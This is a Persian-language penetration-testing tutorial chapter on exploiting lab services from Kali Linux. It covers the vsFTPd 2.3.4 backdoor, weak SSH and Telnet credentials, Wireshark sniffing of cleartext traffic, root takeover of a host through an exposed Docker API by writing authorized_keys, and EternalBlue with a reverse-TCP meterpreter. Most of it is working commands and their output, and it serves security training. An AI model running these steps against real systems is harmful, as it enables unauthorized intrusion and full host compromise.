
بهرهبرداری از خدمات – Services Exploitation
در فصل قبلی (آموزش جامع فاز بهرهبرداری (Exploitation Phase) در کالی لینوکس – بخش اول)، رایجترین خدماتی که ممکن است در دوران شغلی خود به عنوان یک تستر نفوذ با آنها مواجه شوید، ذکر شد. در این بخش، بیشتر این خدمات را که قبلاً سعی کردهایم به آنها اشاره کنیم، مورد بهرهبرداری قرار خواهیم داد. شما خواهید آموخت که چگونه ارتباطات مختلف را به هم متصل کنید تا به یک تستر نفوذ حرفه ای تبدیل شوید.
بهرهبرداری از سرویس FTP
برای اتصال به یک سرور FTP، میتوانیم از FileZilla به عنوان یک کلاینت در جعبه Kali استفاده کنیم. برای نصب آن، از دستور زیر استفاده کنید:
root@kali:~# apt install filezilla -y
مرحله بعدی بررسی اطلاعاتی است که در طول مرحله شناسایی جمعآوری کردهایم:
یافتههای شناسایی
- ورود ناشناس مجاز است
- اعتبارنامههای معتبر برای کاربر:user
- اعتبارنامههای معتبر برای ftp:123456789
- وجود یک آسیبپذیری برای نسخه
- vsFTPd 2.3.4
ورود به FTP
برای اتصال با ورود ناشناس، از FileZilla استفاده میکنیم و اعتبارنامههای زیر را وارد میکنیم (شکل 7.10 را ببینید):

- میزبان: metasploitable.kcorp.local
- نام کاربری: anonymous
- رمز عبور: anypassword (شما میتوانید هر چیزی را اینجا وارد کنید)
کلاینت FTP توانست بهطور موفق به هاست از راه دور متصل شود. متاسفانه، دایرکتوری از راه دور خالی است. در این مرحله، چند ایده معمولی که میتوانید پیگیری کنید عبارتند از:
- اطلاعات محرمانه ممکن است در فایلها روی سرور FTP ذخیره شده باشد.
- اگر فایلهای اجرایی پیدا کردید (مانند java2.1.exe)، بررسی کنید که آیا یک آسیبپذیری عمومی برای آن وجود دارد، زیرا احتمال بالایی وجود دارد که نرمافزار در حال حاضر روی هاست از راه دور نصب شده باشد.
- بررسی کنید که آیا قادر به آپلود فایلها هستید. این به این معنی است که ممکن است بتوانید آنها را از طریق روشهای دیگر فراخوانی کنید تا شل معکوس به دست آورید.
- از طریق یک اپلیکیشن وب
- از طریق یک شل محدود (برای دستیابی به شل روت)
بررسی دو اعتبارنامه دیگر با استفاده از FileZilla نیز درست از آب درآمد. ما توانستیم بهطور موفق به سرور FTP متصل شویم. اما نام کاربری user دسترسی به تمام دایرکتوریهای کاربر (/home) را به ما میدهد، همانطور که در شکل 7.11 نشان داده شده است.

اجرای کد از راه دور – Remote Code Execution
وقت آن رسیده است که بررسی کنیم آیا یک آسیبپذیری شل از راه دور برای این نسخه از سرور وجود دارد یا خیر. بر اساس اسکن Nmap، این نسخه از vsFTPd 2.3.4 آسیبپذیر به یک آسیبپذیری عمومی است:
ftp-vsftpd-backdoor:
VULNERABLE:
vsFTPd version 2.3.4 backdoor
State: VULNERABLE (Exploitable)
IDs: BID:48539 CVE:CVE-2011-2523
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
Disclosure date: 2011-07-03
Exploit results:
Shell command: id
Results: uid=0(root) gid=0(root)
References:
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-downloadbackdoored.html
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
https://www.securityfocus.com/bid/48539
برای اطمینان بیشتر، میتوانیم به موتور جستجوی گوگل برویم و یک آسیبپذیری برای آن جستجو کنیم (شکل 7.12 را ببینید).

با توجه به نتایج قبلی، اولین لینک به وبسایت rapid7 اشاره دارد. به عبارت دیگر، باید بتوانیم از طریق Metasploit این آسیبپذیری را بهرهبرداری کنیم:
msf5 > search vsftpd type:exploit
Matching Modules
================
# Name Disclosure Date Rank Check Description
---- --------------------------------- ----------------- --------- ------ -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
به نظر میرسد که یک گزینه خوب داریم. بیایید بررسی کنیم که آیا این آسیبپذیری قابل بهرهبرداری است یا خیر. اگر شما تازهکار با Metasploit هستید و نمیدانید کدام گزینهها را برای هر ماژول انتخاب کنید، پاسخ ساده است: فقط دستور options را تایپ کنید. اما ابتدا باید دستور use را برای بارگذاری ماژول بهرهبرداری اجرا کنید:
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- --------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
با توجه به گزینههای قبلی، دو مقدار مورد نیاز داریم:
- RHOSTS (آدرس IP میزبان از راه دور)
- RPORT (شماره پورت از راه دور)
پورت RPORT قبلاً به پورت پیشفرض FTP یعنی 21 تنظیم شده است. حالا، باید آدرس IP سرور Metasploitable را وارد کرده و دستور run را اجرا کنیم تا ببینیم آیا میتوانیم سرور از راه دور را مورد بهرهبرداری قرار دهیم یا نه:
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.16.0.101
RHOSTS => 172.16.0.101
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 172.16.0.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.16.0.101:21 - USER: 331 Please specify the password.
[+] 172.16.0.101:21 - Backdoor service has been spawned, handling...
[+] 172.16.0.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened (0.0.0.0:0 -> 172.16.0.101:6200) at 2020-06-24 10:43:31 -0400
ls
bin
boot
cdrom
dev
etc
[...]
تبریک! ما اولین بهرهبرداری از شل از راه دور را انجام دادیم. حالا باید شل را راهاندازی کنیم.
راهاندازی یک شل – Spawning a Shell
در شل از راه دور قبلی، ما یک شل استاندارد با نشانهگذاری ترمینال (shebang) نداریم. برای راهاندازی شل، از Python استفاده میکنیم. ابتدا بررسی میکنیم که آیا Python روی میزبان نصب شده است یا نه با استفاده از دستور which. بعد از آن، میتوانیم دستور اسپاون Python را اجرا کنیم:
which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash")'
root@metasploitable:/#
خوب، به نظر میرسد که ما در یک شل روت هستیم. حالا برای اطمینان بیشتر، دستور id را اجرا میکنیم:
root@metasploitable:/# id
uid=0(root) gid=0(root)
root@metasploitable:/#
در واقع، این یک شل روت است، بنابراین نیازی به نگرانی درباره تکنیکهای افزایش دسترسی (Privilege Escalation) نداریم.
بهرهبرداری از سرویس SSH
به دست آوردن اعتبارنامههای SSH در مرحله شناسایی یک دستاورد مهم است. به طور کلی، این همان چیزی است که باید به دنبال آن باشید، زیرا به محض ورود به سیستم، در واقع به یک شل از راه دور دست پیدا کردهاید.
در فصل قبلی، اطلاعات زیر به دست آمد:
- نسخه سرور SSH: OpenSSH 4.7p1 Debian 8ubuntu1 (این صرفاً اطلاعاتی است)
- اعتبارنامههای معتبر: نام کاربری=user؛ رمز عبور=user
- اعتبارنامههای معتبر: نام کاربری=service؛ رمز عبور=service
ورود به SSH
اولین کار، آزمایش اعتبارنامههای user:user است تا بررسی کنیم آیا میتوانیم یک شل از راه دور بدست آوریم:
root@kali:~# ssh user@metasploitable.kcorp.local
The authenticity of host 'metasploitable.kcorp.local (172.16.0.101)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'metasploitable.kcorp.local,172.16.0.101' (RSA) to the list of known hosts.
user@metasploitable.kcorp.local's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Mon Jun 8 16:50:21 2020 from 172.16.0.102
user@metasploitable:~$
ورود موفقیتآمیز! حالا مرحله بعدی بررسی مجوزهای کاربر است. به عبارت دیگر، آیا ما به شل روت دسترسی داریم؟
user@metasploitable:~$ id
uid=1001(user) gid=1001(user) groups=1001(user)
user@metasploitable:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
user@metasploitable:~$
طبق اطلاعات قبلی، این کاربر اجازه اجرای دستورات با مجوز روت را ندارد. شاید کاربر دیگر یعنی service مجوز روت داشته باشد. بیایید امتحان کنیم:
root@kali:~# ssh service@metasploitable.kcorp.local
service@metasploitable.kcorp.local's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
service@metasploitable:~$ id
uid=1002(service) gid=1002(service) groups=1002(service)
service@metasploitable:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
service@metasploitable:~$
همانطور که در جلسه قبلی، نتوانستیم به شل روت دسترسی پیدا کنیم.
بهرهبرداری از سرویس تل نت – Telnet Service Exploitation
این روند مشابه سرویس SSH است. سرور Telnet به ما این امکان را میدهد که از راه دور به خط فرمان متصل شویم. در فصل قبلی، اطلاعات زیر جمعآوری شد:
- نسخه سرور: 23/tcp open telnet Linux telnetd
- اعتبارنامههای معتبر: نام کاربری=user؛ رمز عبور=user
ورود به Telnet
بیایید از دستور telnet در Kali Linux برای اتصال و تست اعتبارنامههای قبلی که در مرحله شناسایی به دست آمدهاند، استفاده کنیم:
root@kali:~# telnet metasploitable.kcorp.local
Trying 172.16.0.101...
Connected to metasploitable.kcorp.local.
[...]
metasploitable login: user
Password:
Last login: Thu Jun 25 08:21:41 EDT 2020 from 172.16.0.102 on pts/1
Continues
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
user@metasploitable:~$ id
uid=1001(user) gid=1001(user) groups=1001(user)
user@metasploitable:~$
همانطور که از خروجی ترمینال مشاهده میکنید، ما به سرور Telnet به صورت موفقیتآمیز متصل شدهایم. شل که در اختیار داریم، شل با سطح دسترسی پایین است، چون مجوزهای این کاربر محدود است.
شنود اطلاعات به صورت Cleartext
اگر به یاد داشته باشید، در فصل قبلی یاد گرفتیم که سرویس Telnet ارتباطات را به صورت Cleartext (متن ساده) در شبکه ارسال میکند. اکنون، میخواهیم ببینیم این امر چگونه در اسنیفر Wireshark نمایش داده میشود. ما Wireshark را بر روی میزبان Kali اجرا خواهیم کرد تا تمام بستههای خروجی را رهگیری کنیم. در یک سناریو واقعی، برای رهگیری ارتباطات باید این کار را در سطح سوئیچ شبکه انجام دهید. برای این منظور، نیاز است که یک پورت آینهسازی (port mirroring) تنظیم کنید که تمام ترافیک را به یک پورت سوئیچ منتقل کند. این تنظیمات بستگی به سازنده سوئیچ دارد، اما معمولاً میتوان این تنظیمات را با چک کردن دفترچه راهنمای سازنده سوئیچ انجام داد. همچنین، برخی از کیتهای سختافزاری وجود دارند که میتوانید آنها را به کابل شبکه وصل کرده و ارتباطات را به یک اتصال خروجی هدایت کنید (که به میزبان Kali شما متصل خواهد شد).
برای اجرای Wireshark، کافی است که نام آن را در پنجره ترمینال وارد کنید، یا میتوانید از منوی Kali گزینه 09 – Sniffing & Spoofing ➪ Wireshark را انتخاب کنید. بعد از بارگذاری پنجره، باید رابط شبکهای که میخواهید گوش کنید را انتخاب کنید (برای مثال، eth0) و دوبار بر روی آن کلیک کنید تا شروع به شنود ترافیک ورودی و خروجی کنید. حالا بیایید سعی کنیم به طور از راه دور به سرور Telnet متصل شویم و چند دستور اجرا کنیم. پس از آن، بررسی خواهیم کرد که آیا Wireshark توانسته است هیچکدام از اینها را رهگیری کند یا خیر.
برای شروع، ابتدا نیاز به فیلتر کردن بستهها فقط برای بستههای Telnet در داخل Wireshark داریم. برای این کار، عبارت زیر را در نوار فیلتر وارد میکنیم:
tcp.port == 23
پس از اجرای فیلتر، با راست کلیک بر روی هر بسته، گزینه Follow ➪ TCP Stream را انتخاب کنید (برای مشاهده نتایج این مراحل، به شکلهای 7.13 و 7.14 و 7.15 اشاره کنید).



در پنجره جریان TCP، میتوانیم اطلاعات ورود و دستورات اجرایی که در پنجره ترمینال وارد کردهایم را مشاهده کنیم (نگاه کنید به شکل 7.16).

از این پس میتوانید این تکنیک را برای هر پروتکل متنی (cleartext) اعمال کنید، مانند موارد زیر:
- FTP
- Telnet
- SMTP
- HTTP
- POP3
- IMAPv4
- NetBIOS
- SNMP
سوءاستفاده از سرور ایمیل – E-mail Server Exploitation
برای اینکه این حمله کار کند، به یک حساب کاربری مختلشده نیاز داریم (مثلاً با استفاده از Hydra). همچنین میتوانید این اطلاعات را از کانالهای دیگری به دست آورید؛ همیشه لازم نیست که از تکنیک brute-force استفاده کنید (مثلاً حسابی که در سرور FTP پیدا شده یا اطلاعات ورود ثابت در کد منبع صفحه وب، حمله مهندسی اجتماعی و غیره).
در مرحله بعد، باید یک کلاینت ایمیل را روی میزبان Kali Linux خود نصب کنید. برای این منظور، از برنامهای به نام Evolution استفاده خواهیم کرد (شما میتوانید از Thunderbird نیز استفاده کنید).
برای نصب آن، از دستور apt install معمولی استفاده کنید:
root@kali:~# apt install evolution -y
برای اجرای آن برای اولین بار، باید تنظیمات ورودی/خروجی سرور ایمیل و تمام اطلاعات مربوط به صندوق ورودی ایمیل هدف را وارد کنید. در این مرحله، باید موارد زیر را بدانید:
- نام کاربری ایمیل (در مثال ما gus@kcorp.local)
- رمز عبور حساب ایمیل
- آدرس سرور ایمیل (در مثال ما mail.kcorp.local)
در اولین پنجره که در شکل 7.17 نشان داده شده است، من ورودیهای تنظیمات IMAP/SSL را ایجاد کردم. اگر میخواهید از IMAP غیرامن استفاده کنید، پورت 143 را انتخاب کرده و مطمئن شوید که مقدار روش رمزنگاری را به No Encryption تغییر دادهاید (نگاه کنید به شکل 7.17). در مرحله بعد، تنظیمات ارسال ایمیل را به پورت امن SMTP، یعنی 465، تنظیم خواهیم کرد. دوباره، اگر میخواهید از پروتکل متنی استفاده کنید، پورت را به 25 تنظیم کرده و مطمئن شوید که مقدار روش رمزنگاری را به No Encryption تغییر دادهاید (نگاه کنید به شکل 7.18).


در نهایت، شکل 7.19 یک ایمیل جالب را نشان میدهد که گاس در ابتدای کار خود در KCorp در صندوق ورودیاش دریافت کرده است.

سوءاستفاده از Docker
برای درک این بخش، به دو پیشنیاز نیاز دارید. اول، باید همه چیزهایی که در فصل قبلی مربوط به شناسایی و بررسی (enumeration) پوشش داده شد را بدانید. دوم، باید با فناوری Docker آشنا باشید؛ اگر نیستید، لطفاً به پیوستی که درس مخصوصی در مورد کار با کانتینرهای Docker دارد مراجعه کنید.
در این سناریو، دو ماشین مجازی میزبان (VM) وجود دارد (نگاه کنید به شکل 7.20):
- Kali Linux (حملهکننده): 172.16.0.102
- Ubuntu Linux: 172.16.0.103
در میزبان هدف Ubuntu، یک موتور Docker نصب خواهیم کرد (با پورت TCP 2375 باز) و یک کانتینر Jenkins نیز اجرا میشود.
توجه داشته باشید که کانتینرهای Docker دارای زیربخشهای شبکه خود هستند؛ برای این مثال، شبکه کانتینرهای Docker به صورت 172.17.0.0/16 تنظیم شده است.
آزمایش اتصال Docker
برای تعامل با موتور Docker از راه دور، ابتدا باید یک کلاینت Docker را روی میزبان Kali خود نصب کنیم:
root@kali:~# apt update && apt install docker.io -y
root@kali:~# systemctl start docker && systemctl enable docker

آزمایش اتصال به Docker از راه دور
برای آزمایش اینکه آیا میتوانیم به Docker از راه دور وصل شویم، بیایید یک تابع آزمایشی اجرا کنیم تا کانتینرها را در میزبان Ubuntu فهرست کنیم:
root@kali:~# docker -H 172.16.0.103:2375 ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7dd7d926605a jenkins "/bin/tini -- /usr/l..." 2 hours ago Up 2 hours 0.0.0.0:8080->8080/tcp, 0.0.0.0:50000->50000/tcp labjenkins
عالی است، کار میکند! در مرحله بعد، یک کانتینر جدید روی میزبان Ubuntu اجرا خواهیم کرد تا آن را مختل کنیم.
ایجاد یک کانتینر Kali از راه دور
در این مرحله، یک کانتینر جدید Kali روی Ubuntu ایجاد خواهیم کرد. به یاد داشته باشید که ما از ماشین مجازی Kali خود برای اجرای این دستورات Docker به صورت از راه دور روی میزبان Ubuntu استفاده میکنیم.
دانلود Image Kali
اول، تصویر Kali Linux را از Docker Hub دانلود میکنیم:
root@kali:~# docker -H 172.16.0.103:2375 pull kalilinux/kali
Using default tag: latest
latest: Pulling from kalilinux/kali
ba24b40d7ccc: Pull complete
Digest: sha256:0954a8766c13e16bfc3c4ad1cdd457630bc6f27a2f6a7f456015f61956cabd08
Status: Downloaded newer image for kalilinux/kali:latest
docker.io/kalilinux/kali:latest
بررسی اینکه تصویر دانلود شده است یا خیر
بیایید همیشه دوباره بررسی کنیم که تصویر به درستی دانلود شده است:
root@kali:~# docker -H 172.16.0.103:2375 images
REPOSITORY TAG IMAGE ID CREATED SIZE
kalilinux/kali latest bd513360cce5 4 days ago 114MB
jenkins latest cd14cecfdb3a 23 months ago 696MB
اجرای کانتینر
در مرحله بعد، کانتینر را اجرا میکنیم و دایرکتوری ریشه Ubuntu را به /mnt
در کانتینر Kali متصل میکنیم (چرا که میخواهیم بعداً میزبان Ubuntu را مختل کنیم):
root@kali:~# docker -H 172.16.0.103:2375 run -itd --name fsociety -v /:/mnt bd513360cce5
بررسی اینکه کانتینر در حال اجرا است یا خیر
به عنوان یک بررسی دیگر، بیایید تأیید کنیم که کانتینر قبل از اتصال به آن در حال اجرا است:
root@kali:~# docker -H 172.16.0.103:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
558c0ae84912 bd513360cce5 "bash" 11 seconds ago Up 11 seconds fsociety
7dd7d926605a jenkins "/bin/tini -- /usr/l..." 2 hours ago Up 2 hours 0.0.0.0:8080->8080/tcp, 0.0.0.0:50000->50000/tcp labjenkins
دریافت شل به داخل کانتینر Kali
از آنجایی که کانتینر Kali اکنون در حال اجرا است، تمام چیزی که نیاز داریم این است که از دستور exec
برای دریافت یک شل از راه دور استفاده کنیم:
root@kali:~# docker -H 172.16.0.103:2375 exec -it 558c0ae84912 bash
root@558c0ae84912:/# id
uid=0(root) gid=0(root) groups=0(root)
root@558c0ae84912:/#
ما اکنون یک شل روت از راه دور روی کانتینر Kali داریم. در مرحله بعد، بیایید با استفاده از این کانتینر میزبان Ubuntu را مختل کنیم.
سوءاستفاده از میزبان Docker
در این مرحله، یک کانتینر Kali Linux روی میزبان Ubuntu اجرا میکنیم. ما توانستیم این کانتینر را بهصورت از راه دور ایجاد کرده و به شل آن متصل شویم. در این گام، شما خواهید آموخت که چگونه میزبان Ubuntu را از طریق کانتینری که قبلاً ایجاد کردیم، مختل کنیم. اجرای یک اسکن سریع Nmap روی میزبان نشان میدهد که یک سرور SSH در پورت 22 در حال گوش دادن است:
root@kali:~# nmap 172.16.0.103
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-26 07:15 EDT
Nmap scan report for 172.16.0.103
Host is up (0.00014s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
50000/tcp open ibm-db2
MAC Address: 00:0C:29:96:F8:6C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
قبل از اینکه به مرحله بعدی حمله برویم، شما باید دو نکته کلیدی را درک کنید:
- موتور Docker (Daemon) بهعنوان کاربر root در میزبان Ubuntu در حال اجرا است.
- کانتینر Kali یک حجم (volume) به آن متصل است که به تمام سیستم فایل Ubuntu نگاشت شده است. به عبارت دیگر، باید بتوانیم از طریق کانتینر Kali روی میزبان Ubuntu بنویسیم.
تولید کلید SSH
در ماشین مجازی Kali (نه در داخل کانتینر)، ما کلیدهای SSH را ایجاد خواهیم کرد تا بتوانیم بهصورت از راه دور به ماشین مجازی Ubuntu متصل شویم. از دستور ssh-keygen
برای انجام این کار استفاده میکنیم (ما از رمز عبور استفاده نخواهیم کرد، بنابراین در طول تنظیمات فقط Enter میزنیم):
root@kali:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:w0gYi9/7xBEU46xkO66+X9jCcKUa5NKtcR8WBjccU0k root@kali
The key's randomart image is:
+---[RSA 3072]----+
| . ..O=E. |
| . + *.+. |
| . + + B |
| = * O o |
| . B @ S |
| . @ O + |
| o * * |
| . = |
| .+o. . |
+----[SHA256]-----+
ما اکنون یک جفت کلید SSH ایجاد کردهایم که میتوانیم از آن برای اتصال به ماشین Ubuntu استفاده کنیم.
انتقال کلید SSH
در این مرحله، باید کلید عمومی که قبلاً تولید کردیم (فایل /root/.ssh/id_rsa.pub
) را به کانتینر Kali منتقل کنیم. ابتدا، این فایل را در یک ویرایشگر متنی روی ماشین مجازی Kali (نه داخل کانتینر) باز کرده و محتوای آن را کپی میکنیم. سپس، به اتصال شل از راه دور خود به کانتینر Kali برمیگردیم. ابتدا مطمئن میشویم که پوشه ssh
در دایرکتوری خانه روت روی میزبان Ubuntu وجود دارد. اگر نه، یک پوشه جدید ایجاد میکنیم:
root@558c0ae84912:~# cd /mnt/root
root@558c0ae84912:/mnt/root# ls -la
total 36
drwx------ 6 root root 4096 Jun 16 15:48 .
drwxr-xr-x 20 root root 4096 Jun 11 20:23 ..
-rw------- 1 root root 1608 Jun 26 11:50 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Jun 26 11:50 .cache
drwx------ 3 root root 4096 Jun 16 15:48 .config
drwxr-xr-x 3 root root 4096 Jun 11 20:36 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwx------ 3 root root 4096 Jun 16 16:12 .vnc
root@558c0ae84912:/mnt/root# mkdir .ssh
root@558c0ae84912:/mnt/root# cd .ssh
حالا از دستور echo
برای افزودن کلید عمومی که در ماشین مجازی Kali ایجاد کردیم به فایل authorized_keys
استفاده میکنیم. (اگر نمیدانید فایل authorized_keys
چیست، لطفاً به بخش SSH در فصل اول این کتاب مراجعه کنید تا بفهمید SSH چگونه در پسزمینه کار میکند):
root@558c0ae84912:/mnt/root/.ssh# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKc2E5yhmGHiz9jE4+8oNZ59n26F9T5niTQGWaCI1fhFUFnn4zzh9GJxbsrjmVaaCMNaq6pjSHb/GzkhZssSxkjyXKmUldDMwSIFMdtj4Pcrau+aPls9thC47KprWmkKd47O7yXdiQDUu8OD8cQ7h2HylQEBRlh/9xP4JdOyZ2wnD5uE0dnrBB23yndPuY2gSvP8bYzNj12uPe+b5qGD0rGOS32I144Q1jyHDXbI2/tF1uiIRiURgNq9zs4zFCJej5u/Xyd3AtRxGOXF+LNyHjXFDP1Assyli4k6l1HBo8JdE+hT6dIW/rETqXsvocqEGWd+UR/Et8APWAjLkADWPzAiIoMAaYbX36f82qcCCzGKE9MNXzlLzUA3Swk/pDvzbxYm mYsXt9doUQbM+7BHwNX+rBoOK1cNU+UImb6dV+xLfUgL8IhJ7RoQrkYxjiXC/kcgADQq9ThHsBQ6HHcD9BL6GDRwirPfouICXhAOdSJwdX1UACE4oeUFypT1Y7ccM= root@kali" > authorized_keys
تلاش برای اتصال به ماشین Ubuntu
حالا وقت آزمون فرا رسیده است: تلاش میکنیم از ماشین Kali خود (نه داخل کانتینر) به ماشین مجازی Ubuntu متصل شویم:
root@kali:~# ssh root@172.16.0.103
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-37-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
34 updates can be installed immediately.
14 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Fri Jun 26 04:50:39 2020 from 172.16.0.102
root@ub01:~#
و حالا به یک شل روت در ماشین Ubuntu متصل شدیم!
استفاده از پروتکل SMB
پروتکل سامبا در سالهای گذشته یک سرویس محبوب قابل بهرهبرداری بوده است. آسیبپذیریهای اصلی در متاسپلویت به آسیبپذیریهای پروتکل SMB مربوط میشوند.
اتصال به SMB Shares
زمانی که مشاهده کردید پورت 445 در مرحله شناسایی باز است، میتوانید با تلاش برای اتصال به این دایرکتوریها ادامه دهید. برای فهرست کردن پوشههای مشترک در یک میزبان از راه دور، از ماژول smb_enumshares در متاسپلویت استفاده میکنیم:
msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 172.16.0.100
RHOSTS => 172.16.0.100
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBUser admin
SMBUser => admin
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBPass admin
SMBPass => admin
msf5 auxiliary(scanner/smb/smb_enumshares) > run
[+] 172.16.0.100:445 - ADMIN$ - (DISK) Remote Admin
[+] 172.16.0.100:445 - C - (DISK)
[+] 172.16.0.100:445 - C$ - (DISK) Default share
[+] 172.16.0.100:445 - IPC$ - (IPC) Remote IPC
[*] 172.16.0.100: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ما چهار دایرکتوری مشترک در میزبان ویندوز قبلی پیدا کردیم. در کالی، میتوانید از طریق مرورگر فایل سیستم به یک SMB share به صورت راه دور دسترسی پیدا کنید. مطمئن شوید که مسیر زیر را در مدیر فایل کالی خود وارد کنید (نگاه کنید به شکل 7.25):

smb://[ IP address]
پس از وارد کردن آدرس IP صحیح، از شما خواسته میشود که اعتبارنامهها را وارد کنید (در مورد من، این admin:admin است). وقتی بر روی دکمه “Connect” کلیک کنید، دسترسی کامل بصری به اشتراکهای راه دور خواهید داشت (نگاه کنید به شکل 7.26).

استفاده از آسیبپذیری Eternal Blue در SMB
ما از این موضوع به عنوان یک مثال استفاده میکنیم به دلایلی خاص. این آسیبپذیری Eternal Blue چند سال پیش محبوب بود و مایکروسافت آن را اصلاح کرده است. اما چون شما در حال یادگیری بهرهبرداری هستید، باید نحوه عملکرد آن را مشاهده کنید. ممکن است با این سناریو در CTFها و برخی گواهینامههای عملی مانند OSCP روبرو شوید. دوباره، از متاسپلویت استفاده خواهیم کرد و ماژول ms17_010_eternalblue را اجرا خواهیم کرد:
msf5 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 172.16.0.100
RHOSTS => 172.16.0.100
msf5 exploit(windows/smb/ms17_010_eternalblue) > set SMBUSER admin
SMBUSER => admin
msf5 exploit(windows/smb/ms17_010_eternalblue) > set SMBPASS admin
SMBPASS => admin
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 172.16.0.102:4444
[*] 172.16.0.100:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.16.0.100:445 - Host is likely VULNERABLE to MS17-010! -
Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 172.16.0.100:445 - Scanned 1 of 1 hosts (100% complete)
[*] 172.16.0.100:445 - Connecting to target for exploitation.
[...]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
خلاصه
بهرهبرداری سرگرمکننده است و امیدواریم که از این فصل لذت برده باشید. یادگیری باید یک فعالیت سرگرمکننده باشد و نه یک کار سخت. مطالبی که یاد گرفتید به شما کمک میکند تا به مراحل بعدی مانند ارتقاء امتیازات و حرکت افقی بروید. در فصل بعدی، شما یاد خواهید گرفت که چگونه وب اپلیکیشنها را مانند حرفهایها بهرهبرداری کنید!